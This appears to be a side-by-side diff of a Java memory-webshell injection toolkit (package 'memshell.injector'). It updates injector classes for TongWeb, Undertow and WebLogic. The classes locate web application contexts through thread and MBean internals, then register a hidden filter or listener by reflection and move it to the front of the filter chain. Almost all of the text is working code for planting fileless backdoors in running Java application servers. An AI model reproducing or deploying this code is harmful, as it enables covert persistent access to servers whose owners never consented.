||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
|
Field field = getField(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(obj, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getErrorMessage(Throwable throwable) {
|
private String getErrorMessage(Throwable throwable) {
|
||||||
PrintStream printStream = null;
|
PrintStream printStream = null;
|
||||||
|
|||||||
+18
-23
@@ -35,7 +35,7 @@ public class TongWebListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -96,7 +96,7 @@ public class TongWebListenerInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -218,30 +218,25 @@ public class TongWebListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+1
-1
@@ -35,7 +35,7 @@ public class TongWebValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
+24
-23
@@ -7,7 +7,10 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashMap;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
@@ -40,7 +43,7 @@ public class UndertowFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -75,6 +78,7 @@ public class UndertowFilterInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -129,6 +133,8 @@ public class UndertowFilterInjector {
|
|||||||
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
|
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
|
||||||
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||||
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
|
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
|
||||||
|
// invalidate cache
|
||||||
|
invokeMethod(invokeMethod(deploymentImpl, "getServletPaths", null, null), "invalidate", null, null);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
@@ -213,30 +219,25 @@ public class UndertowFilterInjector {
|
|||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+17
-22
@@ -40,7 +40,7 @@ public class UndertowListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -191,30 +191,25 @@ public class UndertowListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+17
-22
@@ -44,7 +44,7 @@ public class UndertowServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -213,30 +213,25 @@ public class UndertowServletInjector {
|
|||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+52
-114
@@ -1,13 +1,17 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||||
|
|
||||||
|
import javax.management.MBeanServer;
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.management.ManagementFactory;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -40,7 +44,7 @@ public class WebLogicFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -75,93 +79,38 @@ public class WebLogicFilterInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Object[] getContextsByMbean() throws Throwable {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
|
||||||
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
|
||||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
|
||||||
theOneMethod.setAccessible(true);
|
|
||||||
Object serverRuntime = theOneMethod.invoke(null);
|
|
||||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
|
||||||
getApplicationRuntimesMethod.setAccessible(true);
|
|
||||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
|
||||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
|
||||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
|
||||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
|
||||||
try {
|
|
||||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
|
||||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
|
||||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
|
||||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
|
||||||
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
|
||||||
for (Object componentRuntime : childrenSet) {
|
|
||||||
try {
|
|
||||||
Object context = getFieldValue(componentRuntime, "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Object[] getContextsByThreads() throws Throwable {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
|
||||||
for (Thread thread : threads) {
|
|
||||||
if (thread != null) {
|
|
||||||
Object workEntry = getFieldValue(thread, "workEntry");
|
|
||||||
if (workEntry != null) {
|
|
||||||
try {
|
|
||||||
Object context = null;
|
|
||||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
|
||||||
if (connectionHandler != null) {
|
|
||||||
Object request = getFieldValue(connectionHandler, "request");
|
|
||||||
if (request != null) {
|
|
||||||
context = getFieldValue(request, "context");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (context == null) {
|
|
||||||
context = getFieldValue(workEntry, "context");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (context != null) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* weblogic.servlet.internal.WebAppServletContext
|
* weblogic.servlet.internal.WebAppServletContext
|
||||||
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
||||||
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
||||||
*/
|
*/
|
||||||
public static Set<Object> getContext() {
|
public static Set<Object> getContext() throws Exception {
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
try {
|
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
||||||
} catch (Throwable ignored) {
|
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
||||||
|
String key = entry.getKey();
|
||||||
|
if (key.contains("Type=WebAppComponentRuntime")) {
|
||||||
|
Object value = entry.getValue();
|
||||||
|
Object managedResource = getFieldValue(value, "managedResource");
|
||||||
|
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
||||||
|
webappContexts.add(getFieldValue(managedResource, "context"));
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
||||||
|
Object request = null;
|
||||||
|
try {
|
||||||
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
|
request = getFieldValue(connectionHandler, "request");
|
||||||
|
} catch (Exception x) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
request = workEntry;
|
||||||
|
}
|
||||||
|
if (request != null) {
|
||||||
|
webappContexts.add(getFieldValue(request, "context"));
|
||||||
|
}
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
return webappContexts;
|
return webappContexts;
|
||||||
@@ -193,20 +142,14 @@ public class WebLogicFilterInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
public void inject(Object context, Object filter) throws Exception {
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters");
|
|
||||||
for (Object obj : filters.keySet()) {
|
|
||||||
if (obj.toString().contains(getClassName())) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
|
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
|
||||||
Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
|
if (((Map) getFieldValue(filterManager, "filters")).containsKey(getClassName())) {
|
||||||
Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses");
|
return;
|
||||||
cachedClasses.put(getClassName(), filter.getClass());
|
}
|
||||||
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
|
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
|
||||||
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
|
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
|
||||||
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
|
Object curFilterInfo = filterPatternList.remove(filterPatternList.size() - 1);
|
||||||
filterPatternList.add(0, currentMapping);
|
filterPatternList.add(0, curFilterInfo);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -248,30 +191,25 @@ public class WebLogicFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+32
-82
@@ -1,16 +1,15 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||||
|
|
||||||
|
import javax.management.MBeanServer;
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
|
import java.lang.management.ManagementFactory;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.Arrays;
|
import java.util.*;
|
||||||
import java.util.HashSet;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
@@ -40,7 +39,7 @@ public class WebLogicListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -75,88 +74,39 @@ public class WebLogicListenerInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
static Object[] getContextsByMbean() throws Throwable {
|
|
||||||
|
/**
|
||||||
|
* weblogic.servlet.internal.WebAppServletContext
|
||||||
|
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
||||||
|
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
||||||
|
*/
|
||||||
|
public static Set<Object> getContext() throws Exception {
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
||||||
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
||||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
||||||
theOneMethod.setAccessible(true);
|
String key = entry.getKey();
|
||||||
Object serverRuntime = theOneMethod.invoke(null);
|
if (key.contains("Type=WebAppComponentRuntime")) {
|
||||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
Object value = entry.getValue();
|
||||||
getApplicationRuntimesMethod.setAccessible(true);
|
Object managedResource = getFieldValue(value, "managedResource");
|
||||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
||||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
webappContexts.add(getFieldValue(managedResource, "context"));
|
||||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
|
||||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
|
||||||
try {
|
|
||||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
|
||||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
|
||||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
|
||||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
|
||||||
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
